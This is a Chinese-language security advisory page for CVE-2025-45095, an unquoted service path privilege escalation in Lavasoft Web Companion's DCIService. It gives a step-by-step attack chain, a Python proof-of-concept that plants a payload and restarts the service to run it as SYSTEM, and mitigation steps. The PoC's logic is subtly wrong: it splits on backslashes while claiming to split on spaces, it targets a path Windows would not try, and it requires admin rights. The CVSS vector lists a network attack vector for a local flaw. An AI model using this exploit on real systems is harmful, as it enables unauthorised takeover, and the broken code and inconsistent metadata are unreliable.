IPBUF安全漏洞报告
English
CVE-2025-45095 CVSS 7.3 高危

CVE-2025-45095 Lavasoft Web Companion未引用服务路径权限提升漏洞

披露日期: 2025-10-09

漏洞信息

漏洞编号
CVE-2025-45095
漏洞类型
未引用服务路径(Unquoted Service Path)/ 本地权限提升
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Lavasoft Web Companion (Ad-Aware WebCompanion)

相关标签

未引用服务路径Unquoted Service Path本地权限提升LPELavasoftWeb CompanionAd-AwareDCIServiceWindows服务CWE-428

漏洞概述

CVE-2025-45095是Lavasoft Web Companion(也称为Ad-Aware WebCompanion)软件中的一个高危安全漏洞。该漏洞存在于软件的DCIService.exe服务安装过程中,由于服务路径未使用引号进行包裹,导致Windows系统在解析服务可执行文件路径时存在安全隐患。受影响的软件版本范围从8.9.0.1091到12.1.3.1037,涵盖了多个主要发布版本,影响面较广。

该漏洞的CVSS 3.1评分为7.3分,属于高危级别。其根本原因在于Windows服务安装时,如果可执行文件的路径中包含空格且未使用双引号进行包裹,Windows会按照空格分隔的顺序依次尝试执行路径中的各个部分。攻击者可以利用这一特性,将恶意可执行文件放置在路径中的特定位置,当服务启动时,系统会优先执行攻击者植入的恶意程序,从而实现任意代码执行并获取系统权限。

由于DCIService.exe通常以SYSTEM权限运行,成功利用该漏洞的攻击者将获得系统的最高权限,可以执行任意操作,包括安装程序、查看/修改/删除数据、创建具有完全权限的新账户等。该漏洞对系统安全构成严重威胁,尤其是对于部署了Lavasoft Web Companion的企业终端和服务器环境。

技术细节

未引用服务路径(Unquoted Service Path)漏洞是Windows平台上一个经典的安全缺陷。当Windows服务注册时,如果服务的可执行文件路径包含空格但未使用双引号("")将完整路径包裹起来,系统在解析路径时会按照空格进行分割,依次尝试匹配路径中的各个部分。

具体到CVE-2025-45095,DCIService.exe的安装路径可能类似于:C:\Program Files\Lavasoft\Web Companion\DCIService.exe。当服务管理器尝试启动该服务时,由于路径未被引号包裹,Windows可能会将其解析为以下多种可能的路径:
1. C:\Program.exe
2. C:\Program Files\Lavasoft.exe
3. C:\Program Files\Lavasoft\Web.exe
4. C:\Program Files\Lavasoft\Web Companion\DCIService.exe(正确路径)

攻击者利用此漏洞的方式如下:首先需要获得对目标系统的写访问权限(通常是通过其他漏洞或社会工程学手段获得初步访问权限)。然后,攻击者可以在路径中较早出现空格的目录中放置一个同名的恶意可执行文件。例如,将恶意程序命名为Program.exe并放置在C:\根目录下。当DCIService服务下次启动时,Windows将按照路径解析顺序执行C:\Program.exe,从而以SYSTEM权限运行攻击者的恶意代码。

由于DCIService.exe以SYSTEM权限运行,利用该漏洞可实现从普通用户权限到SYSTEM权限的提升,属于典型的本地权限提升(Local Privilege Escalation, LPE)漏洞。

攻击链分析

STEP 1
步骤1:初始访问
攻击者首先需要获得目标系统的文件系统写访问权限。这可以通过多种方式实现,例如利用其他漏洞、社会工程学攻击、弱密码攻击或恶意软件感染等手段获得初步的系统访问权限。
STEP 2
步骤2:识别漏洞服务
攻击者通过执行 'sc qc DCIService' 命令查询DCIService服务的配置信息,发现服务的可执行文件路径未使用双引号包裹,且路径中包含空格。
STEP 3
步骤3:分析路径解析顺序
攻击者分析未引用的服务路径,确定Windows系统解析路径时会按照空格分隔的顺序尝试不同的路径组合,找出可被利用的目录位置。
STEP 4
步骤4:植入恶意程序
攻击者在路径解析顺序中较早出现的目录中放置一个同名的恶意可执行文件(如将恶意程序命名为与路径中某个目录名相同的.exe文件)。
STEP 5
步骤5:触发服务重启
攻击者通过重启系统或使用 'sc stop DCIService' 和 'sc start DCIService' 命令重启DCIService服务,触发Windows解析未引用的服务路径。
STEP 6
步骤6:权限提升
Windows系统在解析路径时执行了攻击者植入的恶意程序,由于DCIService以SYSTEM权限运行,恶意代码也以SYSTEM权限执行,攻击者成功实现权限提升,获得系统的完全控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-45095 - Lavasoft Web Companion Unquoted Service Path Exploit # Vulnerability: Unquoted Service Path in DCIService.exe # Affected: Lavasoft Web Companion v8.9.0.1091 - v12.1.3.1037 import os import sys import subprocess import ctypes def check_service_path(): """Check the service path of DCIService""" try: result = subprocess.run( ['sc', 'qc', 'DCIService'], capture_output=True, text=True, check=True ) output = result.stdout for line in output.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() return path except subprocess.CalledProcessError: print("[-] DCIService not found or access denied") return None def exploit_unquoted_path(malicious_path): """ Place a malicious executable in a directory that appears earlier in the unquoted path resolution order. Example: If path is "C:\Program Files\Lavasoft\Web Companion\DCIService.exe" Place malicious exe at "C:\Program.exe" or "C:\Program Files\Lavasoft.exe" """ service_path = check_service_path() if not service_path: print("[-] Could not retrieve service path") return False print(f"[*] Service binary path: {service_path}") # Check if path is quoted if service_path.startswith('"') and service_path.endswith('"'): print("[+] Service path is properly quoted. Not vulnerable.") return False print("[!] Service path is NOT quoted - VULNERABLE!") # Split path by spaces to find exploitable directories parts = service_path.split('\\') exploit_path = '\\'.join(parts[:2]) # e.g., C:\Program Files # Determine the malicious filename based on path splitting if len(parts) > 2: # The third component will be tried as executable target_dir = '\\'.join(parts[:-1]) target_name = parts[-2] + '.exe' # Previous dir name + .exe target_full_path = os.path.join(target_dir, target_name) print(f"[*] Target exploit path: {target_full_path}") # Copy malicious payload to the target location try: import shutil shutil.copy2(malicious_path, target_full_path) print(f"[+] Malicious payload placed at: {target_full_path}") print("[*] Wait for service restart or trigger service restart") # Attempt to restart the service subprocess.run(['sc', 'stop', 'DCIService'], capture_output=True) subprocess.run(['sc', 'start', 'DCIService'], capture_output=True) print("[+] Service restart triggered - payload should execute as SYSTEM") return True except PermissionError: print("[-] Permission denied. Need write access to target directory.") return False return False if __name__ == "__main__": if not ctypes.windll.shell32.IsUserAnAdmin(): print("[-] This exploit requires write access to system directories") print("[*] Note: Attacker needs prior filesystem write access") sys.exit(1) payload = sys.argv[1] if len(sys.argv) > 1 else "payload.exe" exploit_unquoted_path(payload)

影响范围

Lavasoft Web Companion >= 8.9.0.1091
Lavasoft Web Companion <= 12.1.3.1037

防御指南

临时缓解措施
在等待官方补丁发布期间,建议采取以下临时缓解措施:1)手动修改注册表,将DCIService服务的ImagePath值用双引号包裹(路径如:C:\Program Files\Lavasoft\Web Companion\DCIService.exe 改为 "C:\Program Files\Lavasoft\Web Companion\DCIService.exe");2)限制普通用户对C:\Program Files\Lavasoft\Web Companion\目录及其上级目录的写权限;3)使用组策略(GPO)禁用DCIService服务(如果业务允许);4)部署文件系统访问控制列表(ACL),防止未经授权的用户在系统关键目录中创建可执行文件;5)加强终端监控,及时发现和阻断异常的权限提升行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表